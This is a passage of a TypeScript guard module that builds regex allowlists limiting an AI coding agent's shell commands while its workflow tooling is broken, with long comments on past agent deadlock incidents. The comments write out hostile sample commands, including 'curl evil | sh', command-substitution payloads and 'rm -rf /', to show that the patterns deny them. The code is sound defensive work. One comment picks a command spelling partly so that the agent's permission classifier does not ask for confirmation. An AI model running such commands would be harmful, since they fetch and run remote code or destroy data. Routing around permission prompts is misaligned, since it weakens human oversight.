remedy\n// unquoted, so what the guard PRESCRIBED was already broken shell before any allowlist saw it.\n//\n// The cure is a SINGLE-QUOTED alternative, `'[^']+'`, and the single quotes ARE the security argument:\n// inside single quotes sh performs NO expansion whatsoever — `$(…)`, backticks, `$VAR`, `&&`, `;`, `|`\n// are all literal characters of the path — and the ONLY character that can end the quoted region is the\n// one the character class excludes. So the pattern is un-smuggleable BY CONSTRUCTION, with no cleverness\n// required: `cd '/Users/dean hiller/repo' && pnpm install` passes, and `cd '$(curl evil)' && pnpm\n// install` matches but is INERT (sh cds to a directory literally named `$(curl evil)`, which does not\n// exist, and `&&` short-circuits — nothing is fetched and nothing is executed).\n//\n// DOUBLE quotes are deliberately NOT accepted: `$` and backticks still expand inside them, so\n// `cd \"$(curl evil)\" && pnpm install` would be a real command substitution. It stays DENIED, as does\n// `cd \"/Users/dean hiller/repo\" && pnpm install` — the quote character itself is outside both branches.\n// Keep in sync with CD_PREFIX_JS_SRC (locked by a unit test).\nexport const CD_PREFIX_ERE = \"(cd[[:space:]]+([A-Za-z0-9._/@~+-]+|'[^']+')[[:space:]]*&&[[:space:]]*)?\";\n\n// JS-regex-source twin of CD_PREFIX_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nexport const CD_PREFIX_JS_SRC = \"(cd\\\\s+([A-Za-z0-9._\\\\/@~+-]+|'[^']+')\\\\s*&&\\\\s*)?\";\n\n// Every hatch below starts with the anchor + the optional `cd` prefix. Spliced in place of each\n// pattern's old bare `^`, so the anchoring at both ends is unchanged.\nconst CD_PREFIX_ERE_ANCHORED = '^' + CD_PREFIX_ERE;\nconst CD_PREFIX_JS_ANCHORED = '^' + CD_PREFIX_JS_SRC;\n\n// Package-manager install commands allowed to pass the fail-closed shim so the assistant can\n// self-heal the guards (run `pnpm install`) when node_modules is absent — otherwise the guard blocks\n// the very command that re-enables it (deadlock). nx/pnpm monorepo only. POSIX ERE (fed to `grep -E`).\n//\n// What's allowed (the realistic self-heal spellings — an earlier version only matched a bare\n// `pnpm install`, so `pnpm i` and `--flag=value` got fail-CLOSED and re-deadlocked the assistant):\n// - pkg managers: pnpm | npm (this nx monorepo uses pnpm; npm is accepted as the fallback. NOT\n// yarn — this repo installs with pnpm/npm only, so yarn stays denied.)\n// - subcommands: install | i (`pnpm i` / `npm i` is just shorthand for `install`)\n// - flags: zero or more `--flag` / `--flag=value` tokens (no whitespace, no operators)\n//\n// An optional LEADING `cd <path> &&` (CD_PREFIX_ERE) — added 2026-07-30. The old comment here argued a\n// `cd` is never needed because Claude Code starts at the repo root. That is false in a LINKED WORKTREE:\n// git copies no node_modules into a new worktree, so the very first call there needs an install in THAT\n// tree, and the harness resets a cwd that left the workspace, so `cd <worktree> && pnpm install` is the only\n// spelling that reaches it. Denying the prefix made the cure unreachable from the one place it was\n// needed. It widens nothing: the prefix cannot change what the install does, and the path token admits\n// no operator (see CD_PREFIX_ERE).\n//\n// Why it's un-smuggleable (the whole point of failing closed): the tail is anchored to `$` and only\n// accepts `--word` tokens, so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`, `<`) can ride\n// along — `pnpm install && rm -rf /` and `pnpm install; curl evil | sh` still FAIL CLOSED.\n// Keep in sync with INSTALLER_ALLOW_JS below (locked by a unit test).\nconst INSTALLER_BODY_ERE = '(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALLER_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + INSTALLER_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of INSTALLER_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). The fail-closed shim (pure sh)\n// uses the ERE for the missing-bin case; the runner uses THIS twin (runBashInternal) so installer\n// commands also pass when the bin IS installed but the config is invalid/ahead of the validator —\n// same deadlock, other side. A unit test asserts the two agree on a sample set.\nconst INSTALLER_BODY_JS = '(pnpm|npm)\\\\s+(install|i)(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALLER_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + INSTALLER_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The RECOVERY command, allowed alongside INSTALLER_ALLOW_ERE on every fail-closed path.\n//\n// Why a plain `pnpm install` is NOT enough (learned the hard way): when node_modules is CORRUPT — a\n// package half-written by an install that was killed mid-copy — pnpm sees a package dir carrying the\n// right version in its package.json, considers it installed, and SKIPS it. `pnpm install` cheerfully\n// reports \"up to date\" and the corruption survives every retry. The only reliable cure is to delete\n// node_modules so pnpm re-materializes the package from the (healthy) global store. So the fail-closed\n// escape hatch MUST allow the wipe too, or the assistant is left denying its own cure (deadlock).\n//\n// Kept as tight as INSTALLER_ALLOW_ERE: anchored at both ends, the ONLY shell operator accepted is a\n// single `&&` in exactly one position, and the rm target is literally `node_modules` — nothing else.\n// So `rm -rf /`, `rm -rf node_modules/../..`, `rm -rf node_modules; curl evil | sh` all stay DENIED.\n// Keep in sync with RECOVERY_ALLOW_JS below (locked by a unit test).\nconst RECOVERY_BODY_ERE =\n 'rm[[:space:]]+-rf[[:space:]]+(\\\\./)?node_modules/?([[:space:]]*&&[[:space:]]*(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?';\nexport const RECOVERY_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + RECOVERY_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of RECOVERY_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nconst RECOVERY_BODY_JS =\n 'rm\\\\s+-rf\\\\s+(\\\\.\\\\/)?node_modules\\\\/?(\\\\s*&&\\\\s*(pnpm|npm)\\\\s+(install|i)(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?';\nexport const RECOVERY_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + RECOVERY_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command we tell the human/assistant to run to recover a corrupt node_modules.\nexport const RECOVERY_CMD = 'rm -rf node_modules && pnpm install';\n\n// `git fetch`. Part of the ONE L0 allowlist (see L0_ALLOW_ERE), so it is allowed under EVERY\n// L0 fault, not just drift. It used to be gated on drift alone, on the reasoning that no amount of\n// git can fix a missing/broken bin. True but irrelevant: an allowlist entry that cannot help also\n// cannot hurt, and the gating had a real cost — under a stale committed shim, a git sync is the ONLY\n// cure when the CHECKOUT is the stale side, and it was denied. Ungating it removes that trap.\n//\n// `merge` was REMOVED from this list. It was accepted here while the guards are DOWN, and the drift\n// message had to spend a sentence telling the reader NOT to use the thing the allowlist permits —\n// because redirect-how-to-merge-main blocks `git merge` in every form the moment the guards come back.\n// Main is merged only through the 3-point fork merge (`wp-start-*`). With one global allowlist that\n// hole would widen from one fault to every fault, so the entry goes rather than the gating.\n//\n// The deadlock this entry exists for, hit 2026-07-17:\n//\n// The drift guard was written for ONE direction — you `git pull`, the new package.json pins a NEWER\n// @webpieces, node_modules is still OLD, and `pnpm install` catches it up. But the comparison is a\n// plain `!=`, so it fires just as hard in the INVERSE case: check out a branch (or a local `main`)\n// that is BEHIND origin, and now the PIN is the stale side while node_modules is correct and NEWER.\n//\n// In that inverse case `pnpm install` is not the cure, it is the disease: it happily DOWNGRADES\n// node_modules to the stale pin. The real cure is a git sync — which the guard denied, because the\n// allowlist only ever contained the installer. So the assistant was told to run the one command that\n// made things worse, while the fix was blocked. Allow the sync commands here and the deadlock is gone.\n//\n// `pull` WAS THEN REMOVED FROM THIS ENTRY (2026-08-10, audit finding C6) — which is why it is now named\n// for the fetch subcommand alone. The entry was `(pull|fetch)` and marked TERMINAL ('allow'), so it\n// short-circuited every downstream guard. redirect-how-to-merge-main exists to block exactly one thing:\n// `git pull origin main` on a FEATURE branch, because a raw pull there merges main INTO the branch and\n// destroys the fork point that the 3-point merge, `nx affected --base=` and the PR review diff are all\n// computed from. Under an L0 fault the drift message TOLD the agent to run `git pull origin main` and\n// this entry PERMITTED it, on whatever branch it happened to be standing on. The damage is silent: it\n// surfaces later as a build gate that rebuilt the wrong scope and a PR diff describing work nobody did.\n//\n// The fetch subcommand cannot merge anything, so it can never poison a fork point, and it stays terminal\n// here. `git pull` now falls THROUGH to redirect-how-to-merge-main, which allows it on main and blocks\n// it on a feature branch — the correct matrix, and the one that guard was written to enforce. A BARE\n// `git pull` (syncing a shared feature branch with origin/<same-branch>) is not blocked by that guard\n// either; it simply is no longer waved past every OTHER guard on the way. The on-main cure keeps a\n// terminal spelling of its own — CHECKOUT_MAIN_PULL_BODY_ERE below.\n//\n// Kept exactly as tight as INSTALLER_ALLOW_ERE: anchored at both ends, and every argument token is a\n// bare word or `--flag` — so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`) can ride along.\n// A trailing `; curl evil | sh` still FAILS CLOSED. Deliberately NOT a general `git checkout`: switching\n// branches is what CAUSES this drift, and a fail-closed escape hatch should only contain cures.\n// Keep in sync with FETCH_ALLOW_JS below (locked by a unit test).\n// webpieces-disable no-fetch -- a POSIX ERE matching the git subcommand of that name, not an HTTP call\nconst FETCH_BODY_ERE = 'git[[:space:]]+fetch([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const FETCH_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + FETCH_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of FETCH_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\n// webpieces-disable no-fetch -- the JS twin of the ERE above; still the git subcommand, not an HTTP call\nconst FETCH_BODY_JS = 'git\\\\s+fetch(\\\\s+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const FETCH_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + FETCH_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// THE ONE PULL SPELLING THAT IS ALWAYS FORK-POINT-SAFE — the other half of the C6 fix above.\n//\n// `git checkout main && git pull origin main` ends on MAIN. The feature branch is not checked out, not\n// merged into, not touched at all: there is no fork point to destroy, on any branch, ever. That is what\n// earns it a terminal entry on a list where a bare `git pull origin main` no longer has one. When the\n// agent is ALREADY on main the checkout is a harmless no-op, so this one literal covers the on-main case\n// too and needs no second entry.\n//\n// ─── WHY L0 KEEPS THE RAW GIT WHILE THE WORKFLOW LAYER MOVED TO `pnpm wp-sync-main` ─────────\n// `wp-sync-main` is this exact pairing with `wp-cleanup` and the orphan-directory sweep welded\n// on, and the WORKFLOW guards (stale-main-bash-guard's preferred cure, merged-branch-message,\n// TreeRecovery, the L2 rows) now prescribe it instead of these two git commands — one intention, one\n// spelling, and the sweep actually runs.\n//\n// THIS ENTRY DELIBERATELY DOES NOT FOLLOW THEM, and that is not the two-spellings shim it looks like.\n// The fault L0 is curing is `node_modules` disagreeing with the pin — which means `node_modules` is\n// PRECISELY the thing that cannot be trusted. A `pnpm wp-*` bin resolves through it, so the one class of\n// cure that may not appear on an L0 allowlist is a cure that has to load the package it is repairing.\n// Raw git needs nothing but git. Replacing this literal with the `pnpm` spelling would delete the only\n// working escape from a deadlock, in the one state where every other tool call is already denied.\n//\n// The two layers are therefore not two spellings of one thing; they are two different things that\n// happen to share a prefix. Read the L0 one as \"get main, with no working package manager\".\n//\n// A NARROW LITERAL, deliberately. The rationale above — `git checkout` is what CAUSES this drift, and a\n// fail-closed hatch should only contain cures — is intact: `main` is hard-coded, no flags are accepted,\n// and there is NO general `git checkout <branch> &&` prefix. `git checkout feat && git pull origin main`,\n// the exact command redirect-how-to-merge-main blocks, stays REFUSED here; so do `git checkout main`\n// alone (it cures nothing) and anything chained onto either end.\n// Keep in sync with CHECKOUT_MAIN_PULL_BODY_JS below (locked by a unit test).\nconst CHECKOUT_MAIN_PULL_BODY_ERE =\n 'git[[:space:]]+checkout[[:space:]]+main[[:space:]]*&&[[:space:]]*git[[:space:]]+pull[[:space:]]+origin[[:space:]]+main';\n\n// JS-regex twin of CHECKOUT_MAIN_PULL_BODY_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst CHECKOUT_MAIN_PULL_BODY_JS =\n 'git\\\\s+checkout\\\\s+main\\\\s*&&\\\\s*git\\\\s+pull\\\\s+origin\\\\s+main';\n\nexport const CHECKOUT_MAIN_PULL_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + CHECKOUT_MAIN_PULL_BODY_ERE + CAPTURE_TAIL_ERE;\nexport const CHECKOUT_MAIN_PULL_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + CHECKOUT_MAIN_PULL_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n/**\n * The exact bytes every L0 message prescribing the on-main sync must print.\n *\n * L0 ONLY. The workflow guards prescribe `pnpm wp-sync-main`; this constant is for the faults\n * where `node_modules` is the thing under suspicion and no `pnpm` bin can be relied on to run. See the\n * block comment above CHECKOUT_MAIN_PULL_BODY_ERE for the full argument, and do not \"unify\" the two.\n */\nexport const CHECKOUT_MAIN_PULL_CMD = 'git checkout main && git pull origin main';\n\n// The CURE for the committed-shim self-guard (now enforced by the binary — see committedShimStale\n// below): regenerate .claude/webpieces/ai-hook.sh from renderShim(). Allowed while that guard is up —\n// like the installer, it is a webpieces-owned, no-network local action whose whole job is to re-arm the\n// guard, so denying it would deadlock the assistant against its own fix. Accepts the realistic spellings of the wp-upgrade-shim bin under\n// pnpm/npm/npx; anchored at both ends with only a bare bin name, so no shell operator can ride along.\n// Keep in sync with UPGRADE_SHIM_ALLOW_JS below (locked by a unit test).\nconst UPGRADE_SHIM_BODY_ERE = '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-upgrade-shim';\nexport const UPGRADE_SHIM_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + UPGRADE_SHIM_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of UPGRADE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst UPGRADE_SHIM_BODY_JS = '(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-upgrade-shim';\nexport const UPGRADE_SHIM_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + UPGRADE_SHIM_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command we tell the assistant to run to regenerate a reverted/edited committed shim.\nexport const UPGRADE_SHIM_CMD = 'pnpm exec wp-upgrade-shim';\n\n// The CURE for a webpieces.config.json carrying keys no validator has a schema for: delete them.\n//\n// IT HAS TO BE ON THIS LIST OR IT IS NOT A CURE AT ALL. An invalid config denies every Bash call, which\n// is precisely the state the unknown-rule error and the validation banner are read in — so a cure those\n// messages name, but the guard rejects, is worse than naming nothing: it sends the reader in a circle.\n// That is the same reasoning that put the installer and wp-upgrade-shim here, and it is why the entry\n// ships in the SAME change as the messages that prescribe it.\n//\n// Safe as a cure by construction: the pruner only ever DELETES keys the running validator has no schema\n// for, refuses renames and in-file moves, and does nothing at all when a rulesDir is configured. Accepts\n// the realistic pnpm/npm/npx spellings, anchored at both ends with only a bare bin name so no shell\n// operator can ride along. Keep in sync with PRUNE_CONFIG_BODY_JS (locked by the twin unit test).\nconst PRUNE_CONFIG_BODY_ERE = '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-prune-unknown-config';\n\n// JS-regex twin of PRUNE_CONFIG_BODY_ERE (POSIX `[[:space:]]` → `\\s`).\nconst PRUNE_CONFIG_BODY_JS = '(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-prune-unknown-config';\n\n// The entry below spells the command as PRUNE_UNKNOWN_COMMAND, IMPORTED rather than re-typed: that\n// constant is the single spelling, and a second literal here is exactly the drift that would let a\n// message prescribe a command this allowlist does not match.\n\n// The PRIMARY, version-AGNOSTIC cure for the self-guard — and the reason this exists (hit 2026-07-21):\n// the self-guard's deny used to name ONLY `pnpm exec wp-upgrade-shim`, but that bin ships in\n// @webpieces/agent-workflow-rules >= 0.4.408. Every repo on an OLDER installed release — i.e. exactly the\n// repos that can hit this, since node_modules is what the shim compares itself against — got\n// \"command not found\" and was left with a hard block and no working cure. In the reporter's words, the\n// message gave \"ZERO information\" on how to actually fix it.\n//\n// A plain `cp` of the installed template over the committed shim has none of that version coupling:\n// templates/ai-hook.sh ships in EVERY release and is byte-identical to renderShim() (locked by a unit\n// test), which is exactly what the binary's committedShimStale() compares the committed shim against;\n// cp onto an existing file keeps the destination's mode, so the shim stays executable with no chmod.\n// It cures the block on any version, old or new —\n// which is why the deny now leads with it and only mentions the bin as the newer equivalent.\n//\n// Kept as tight as the other escape hatches: anchored at both ends, no flags, and BOTH paths are\n// literal webpieces-owned paths — so no other file can be read or written and no operator can ride\n// along. Keep in sync with RESTORE_SHIM_ALLOW_JS below (locked by a unit test).\nconst RESTORE_SHIM_BODY_ERE =\n 'cp[[:space:]]+(\\\\./)?node_modules/@webpieces/agent-workflow-rules/templates/ai-hook\\\\.sh[[:space:]]+(\\\\./)?\\\\.claude/webpieces/ai-hook\\\\.sh';\nexport const RESTORE_SHIM_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + RESTORE_SHIM_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of RESTORE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst RESTORE_SHIM_BODY_JS =\n 'cp\\\\s+(\\\\.\\\\/)?node_modules\\\\/@webpieces\\\\/agent-workflow-rules\\\\/templates\\\\/ai-hook\\\\.sh\\\\s+(\\\\.\\\\/)?\\\\.claude\\\\/webpieces\\\\/ai-hook\\\\.sh';\nexport const RESTORE_SHIM_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + RESTORE_SHIM_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command the self-guard's deny tells the assistant to run. Works on EVERY installed version.\nexport const RESTORE_SHIM_CMD =\n 'cp node_modules/@webpieces/agent-workflow-rules/templates/ai-hook.sh .claude/webpieces/ai-hook.sh';\n\n// The THIRD cure for the self-guard, and the one with the longest shelf life: the installer itself.\n//\n// `wp-install-ai-hooks` has shipped in every release of this package since it created the shim (the\n// shim's own header line names it as the managing command), and install-entry.ts calls healShim()\n// FIRST, through the dependency-free ./shim module, before it lazily requires the rule engine. So it\n// re-arms the committed shim on a tree too broken to load setup.ts, exactly like wp-upgrade-shim, and\n// it does so on releases that predate wp-upgrade-shim (< 0.4.408) where that bin is not on disk at all.\n// That combination — always present AND a named bin rather than a raw file overwrite — is why the deny\n// now leads with it: the `cp` is version-agnostic too, but Claude Code's own permission classifier\n// treats a bare cp over a repo file as something to confirm, while a named bin reads as a tool call.\n//\n// FLAGS ARE ACCEPTED. The installer's non-interactive spelling is `--target=project`, and a pattern that\n// accepted no flags at all made it untypable — the same deadlock shape as the missing `2>&1 | tail` and\n// the missing `cd` prefix: a deny naming a command the allowlist rejects. The flag token is the identical\n// one INSTALLER_BODY_ERE already allows — `--word` / `--word=value`, no whitespace, no operator — so it\n// widens nothing else: `pnpm wp-install-ai-hooks --target=project && rm -rf /` still FAILS CLOSED.\n//\n// Kept as tight as the other escape hatches: anchored at both ends, bare bin name plus `--flag` tokens\n// only, so no shell operator can ride along. Keep in sync with INSTALL_HOOKS_ALLOW_JS (locked by a unit test).\nconst INSTALL_HOOKS_BODY_ERE =\n '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-install-ai-hooks([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALL_HOOKS_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + INSTALL_HOOKS_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of INSTALL_HOOKS_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst INSTALL_HOOKS_BODY_JS =\n '(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-install-ai-hooks(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALL_HOOKS_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + INSTALL_HOOKS_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// THE MISSING-DEPENDENCY cure — the 2026-08-05 \"pnpm install converges to the same broken state\" deadlock.\n//\n// @webpieces/agent-workflow-rules reaches a consumer repo through its BINS (wp-ai-guards-hook, named in\n// .claude/settings.json), never through an import. For many releases it ALSO arrived as a transitive\n// dependency of @webpieces/webpieces-tooling, and a repo on a hoisting node-linker got its bins in\n// node_modules/.bin for free — so no consumer ever declared it. When that dependency edge was pruned as\n// unused (correctly: nothing imports it), the package left the tree on the very next install and every\n// wp-ai-* bin went with it.\n//\n// The shim then blocked every call and prescribed `pnpm install`, which is a NO-OP here: nothing in\n// package.json asks for the package, so the install reports \"Lockfile is up to date\" and changes\n// nothing. The reporter ran it four times, was denied every other command, and handed the block back to\n// the human. The ONLY cure is to declare the dependency — so the command that declares it has to be on\n// this list, or fault U is a guaranteed deadlock rather than a fixable one.\n//\n// Kept as tight as every other hatch: the subcommand is `add` and nothing else (never `remove`, never\n// `update`), the package is the LITERAL @webpieces/agent-workflow-rules with an optional `@<version>`, and the\n// only other tokens accepted are a short `-D`-shaped flag or the same `--word[=value]` token\n// INSTALLER_BODY_ERE already allows. So no OTHER package can be installed through this entry and no\n// shell operator can ride along: `pnpm add -D @webpieces/agent-workflow-rules && rm -rf /` still FAILS CLOSED.\n// Keep in sync with ADD_HOOK_PKG_ALLOW_JS below (locked by a unit test).\nconst ADD_FLAG_ERE = '(-[A-Za-z]|--[A-Za-z][A-Za-z0-9=._/@:-]*)';\nconst ADD_HOOK_PKG_BODY_ERE =\n '(pnpm|npm)[[:space:]]+add([[:space:]]+' + ADD_FLAG_ERE + ')*[[:space:]]+@webpieces/agent-workflow-rules'\n + '(@[A-Za-z0-9._+-]+)?([[:space:]]+' + ADD_FLAG_ERE + ')*';\nexport const ADD_HOOK_PKG_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + ADD_HOOK_PKG_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of ADD_HOOK_PKG_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst ADD_FLAG_JS = '(-[A-Za-z]|--[A-Za-z][A-Za-z0-9=._\\\\/@:-]*)';\nconst ADD_HOOK_PKG_BODY_JS =\n '(pnpm|npm)\\\\s+add(\\\\s+' + ADD_FLAG_JS + ')*\\\\s+@webpieces\\\\/agent-workflow-rules'\n + '(@[A-Za-z0-9._+-]+)?(\\\\s+' + ADD_FLAG_JS + ')*';\nexport const ADD_HOOK_PKG_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + ADD_HOOK_PKG_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n/** The package every wp-ai-* bin ships in — the one name fault U is about. */\nexport const HOOK_PKG = '@webpieces/agent-workflow-rules';\n\n/** The version-less spelling of the fault-U cure; the deny appends `@<pin>` when it can infer one. */\nexport const ADD_HOOK_PKG_CMD = `pnpm add -D ${HOOK_PKG}`;\n\n// READ-ONLY ORIENTATION — the 2026-08-03 \"where am I standing?\" deadlock.\n//\n// Every entry above is a CURE. None of them tells you WHICH TREE you are in, and that is the one thing\n// an agent has to know before a cure can work. The incident: an agent worked in a linked worktree while\n// the drift fault (D) was measured against the PRIMARY clone ($CLAUDE_PROJECT_DIR). Its `pnpm install`\n// ran in the worktree, succeeded, and changed nothing in the tree being measured, so the block never\n// lifted. It could not run `pwd` — read-only bash was not on this list at all — so it could not see the\n// discrepancy, invented a false theory (\"the harness is stripping my `cd` prefix\"), burned five\n// identical installs and handed the problem back to the human. One allowed `pwd` ends that on attempt\n// one.\n//\n// So this entry is not a cure, it is the DIAGNOSIS the cures depend on: where am I (`pwd`,\n// `git rev-parse --show-toplevel`), which tree is this (`git worktree list`), which branch and what\n// state (`git status`, `git branch`, `git log`, `git diff`, `git show`). All local, all read-only, none\n// of them touching the network or the working tree. The sibling guard merged-branch-bash-guard already\n// permits `git status|log|diff|show|branch`, so this is the policy that already exists, applied one\n// layer out.\n//\n// THE `git worktree` TRAP. `git worktree add|remove|prune|move|repair` all MUTATE, and `git worktree`\n// is the ONLY multi-word subcommand here — which is exactly why it gets its own alternative pinned to\n// the LITERAL word `list` rather than joining the single-word set. A bare `git worktree` matches\n// nothing, and no other subcommand can reach the accepted branch. Deny cases for `add`/`remove` are\n// explicit in shim-drift.spec.ts.\n//\n// Kept at exactly the tightness of FETCH_BODY_ERE — the same argument token, `--flag` or a bare word\n// from a character class holding no shell metacharacter — so nothing can ride along: `pwd; curl evil |\n// sh`, `git status && rm -rf /`, `git log $(curl evil)` and `git status | sh` all FAIL CLOSED. Note the\n// subcommand word must follow `git` IMMEDIATELY: `git -c core.pager=evil status` and `git -C /other\n// status` stay denied, the same property the sync entry has.\n// Keep in sync with ORIENT_ALLOW_JS below (locked by a unit test).\nconst ORIENT_BODY_ERE =\n '(pwd|git[[:space:]]+(status|log|diff|show|branch|rev-parse)|git[[:space:]]+worktree[[:space:]]+list)([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const ORIENT_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + ORIENT_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of ORIENT_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nconst ORIENT_BODY_JS =\n '(pwd|git\\\\s+(status|log|diff|show|branch|rev-parse)|git\\\\s+worktree\\\\s+list)(\\\\s+(--)?[A-Za-z0-9][A-Za-z0-9=._\\\\/@:-]*)*';\nexport const ORIENT_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + ORIENT_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The command the incident turned on: the agent could not ask which tree it was standing in.\nexport const ORIENT_CMD = 'pwd';\n\n\n// The exact command the self-guard's deny names FIRST. Present in every release that has a shim.\nexport const INSTALL_HOOKS_CMD = 'pnpm exec wp-install-ai-hooks';\n\n// The non-interactive spelling of the FULL install (config + CI gate + hook wiring): the `--target`\n// flag is what replaces the interactive prompt. `--flag=value` is accepted by the same token\n// INSTALLER_BODY_ERE uses, so this spelling is pinned as a sample rather than given its own pattern.\nexport const INSTALL_HOOKS_TARGET_CMD = 'pnpm wp-install-ai-hooks --target=project';\n\n// ---------------------------------------------------------------------------\n// THE L0 ALLOWLIST — one list, consulted identically by every tooling-integrity fault.\n//\n// L0 is the outermost layer: it blocks work while node_modules, the committed shim, or\n// webpieces.config.json are in a state that makes every OTHER guard untrustworthy. Its seven faults are\n// D version drift (sh, before the bin runs) S committed shim != renderShim() (bin)\n// X bin missing (sh) C webpieces.config.json missing (bin)\n// K bin present, crashed (sh) Y a loaded rule has no config key (bin)\n// U bin missing AND the package is not declared (sh) — X's cure is a no-op here, hence its own fault\n//\n// Drawn as a decision matrix, L0 has NO genuine second dimension. Every branch reduces to\n// fault present AND call not on the allowlist -> BLOCK(messageFor(fault))\n// and the only thing that varies per fault is the MESSAGE. The applicability of each cure used to vary\n// too, but that variation was an accident of which code path a fault happened to be detected in, and it\n// cost four real defects:\n// - under S, `pnpm install` was denied — so when node_modules is the STALE side, every permitted cure\n// wrote the OLD binary's renderShim() over a NEWER committed shim, silently reverting a commit.\n// - under S, `git pull` was denied — the only cure when the CHECKOUT is the stale side.\n// - under D/X/K, every Read was denied — no way to inspect, not even the config that disables it.\n// - under C/Y, `rm -rf node_modules && pnpm install` was denied while a bare `pnpm install` passed.\n// All four disappear by consulting ONE list. See webpieces.guard-matrix.md for the rendered table.\n//\n// Composed from the BODY of each cure above so there is exactly one copy of every pattern: the\n// named exports stay the vocabulary (and keep their own tests), this union is the decision.\n//\n// L0_ALLOWLIST is that list as DATA — the one array isAllowed(), the rendered shim's grep and the\n// published matrix doc (webpieces.guard-matrix.md) all derive from, so the doc cannot describe an\n// allowlist the code does not have. Adding an entry here is the ONLY way to widen L0.\nexport const L0_ALLOWLIST: readonly L0AllowEntry[] = [\n new L0AllowEntry('any Read', 'pass', false, null, null, EVERY_HARNESS, new L0Call('Read', '', 'README.md')),\n // TOOL-SHAPED, like the Read entry above and for the same reason: no regex can express \"this tool\n // has nothing to judge\". See L0_IGNORED_TOOLS for why the list is explicit and why `apply_patch`\n // (Codex's only WRITE) is deliberately not on it.\n new L0AllowEntry(\n `a Codex tool with nothing to judge: ${[...L0_IGNORED_TOOLS].join(', ')}`,\n 'pass',\n false,\n null,\n null,\n EVERY_HARNESS,\n new L0Call('update_plan', '', ''),\n [new L0Call('view_image', '', ''), new L0Call('webrun', '', '')],\n ),\n new L0AllowEntry(\n `a Write/Edit whose target is ${CONFIG_FILENAME}`,\n 'pass',\n false,\n null,\n null,\n EVERY_HARNESS,\n new L0Call('Edit', '', `/repo/${CONFIG_FILENAME}`),\n ),\n // THE MANIFEST ESCAPE, and it is an escape L1 row 8 already PROMISED before it existed. Its report\n // says \"STILL ALLOWED HERE: ... edits to pnpm-workspace.yaml / package.json / webpieces.config.json\"\n // and its docblock calls that one of \"two structurally independent escapes\" — but only\n // CONFIG_FILENAME was ever carved out, so the promised cure was untypable from inside the block. The\n // pin lives in pnpm-workspace.yaml's catalog, so an agent whose ONLY correct move is \"raise this\n // tree's pin to what the governing tree already installs\" could not make it.\n //\n // TOOL-SHAPED on purpose (`ere`/`js` both null, like the two entries above): no regex 